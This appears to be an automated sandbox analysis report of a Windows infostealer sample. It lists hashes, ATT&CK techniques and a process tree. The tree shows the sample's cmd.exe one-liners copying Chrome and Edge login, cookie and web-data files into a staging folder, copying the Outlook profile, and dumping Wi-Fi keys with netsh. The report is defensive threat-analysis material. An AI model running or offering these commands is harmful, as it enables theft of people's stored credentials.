3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a

Analysis

max time kernel
150s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 11:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
Size 314KB
Sample261110-n58yzsxt7p
SHA256 3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a
MD5 1b94262213c0412fefe85d273814a218
SHA1 5872fb8ad67f07e24490aa6a3453f8c3ed939649
SHA512 9e82c3f0ab39aefad3cb6ef3a508766a4fd1ab0b668e0ef5be586f5f83ef95b9f7b3b5cf624dc7cea8cdae975e2c5a0403b7c93f9d991f05398106fbbdd03b81
SSDEEP 6144:oUEh72aH2c7mZzVem2+lBYUXtn++Mtl6Vup5kakM3txoIT:oUi3b7mZzVDlGXmVup/Pn
TLSH
T13E645B99E2E617F9E0B6E17446878235E5B2F803937997AB23F1845C1F13261ED39F02
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2908	cmd.exe
908	cmd.exe
1736	cmd.exe
4680	cmd.exe
1220	cmd.exe
4444	cmd.exe
4748	cmd.exe
3316	cmd.exe
4404	cmd.exe
2108	cmd.exe
4664	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6096	netsh.exe
3316	cmd.exe

Checks SCSI registry key(s) 3 TTPs 2 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 692	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	88
PID 3764 wrote to memory of 292	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	90
PID 3764 wrote to memory of 2908	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	93
PID 3764 wrote to memory of 4404	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	95
PID 3764 wrote to memory of 908	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	97
PID 3764 wrote to memory of 1736	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	99
PID 3764 wrote to memory of 4680	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	101
PID 3764 wrote to memory of 2108	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	103
PID 3764 wrote to memory of 1220	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	105
PID 3764 wrote to memory of 4444	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	107
PID 3764 wrote to memory of 4664	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	109
PID 4664 wrote to memory of 2708	4664	cmd.exe	111
PID 3764 wrote to memory of 4748	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	112
PID 3764 wrote to memory of 3316	3764	3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe	114
PID 3316 wrote to memory of 6096	3316	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe
"C:\Users\Admin\AppData\Local\Temp\3172c9d624333eeb585ae09af73daee55822cebf88f7a68634fd0d0e8138e20a.bin.exe"
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /query /fo csv /nh 2>nul
  2⤵
  PID:692
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe" example.com 2>nul
  2⤵
  PID:292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\hieepc_Local State" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\mmmccf_Login Data" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\kijpib_Web Data" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\mhcheg_Cookies" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\oklmih_Local State" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\dglbjp_Login Data" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\ombkem_Web Data" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1220
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c copy /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\browsers\lemddj_Cookies" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c xcopy /s /y /i "C:\Users\Admin\AppData\Roaming\Microsoft\Outlook" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\sshrs\Outlook" >nul 2>nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\xcopy.exe
    xcopy /s /y /i "C:\Users\Admin\AppData\Roaming\Microsoft\Outlook" "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\sshrs\Outlook"
    3⤵
    PID:2708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "dir /s /b "C:\Users\Admin\AppData\Local\Temp\sx_ccd4aa85\sshrs\Outlook" 2>nul" > "C:\Users\Admin\AppData\Local\Temp\_ijbdgp.tmp" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "netsh wlan show profiles key=clear" > "C:\Users\Admin\AppData\Local\Temp\_fcldmm.tmp" 2>nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles key=clear" > "C:\Users\Admin\AppData\Local\Temp\_fcldmm.tmp
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:6096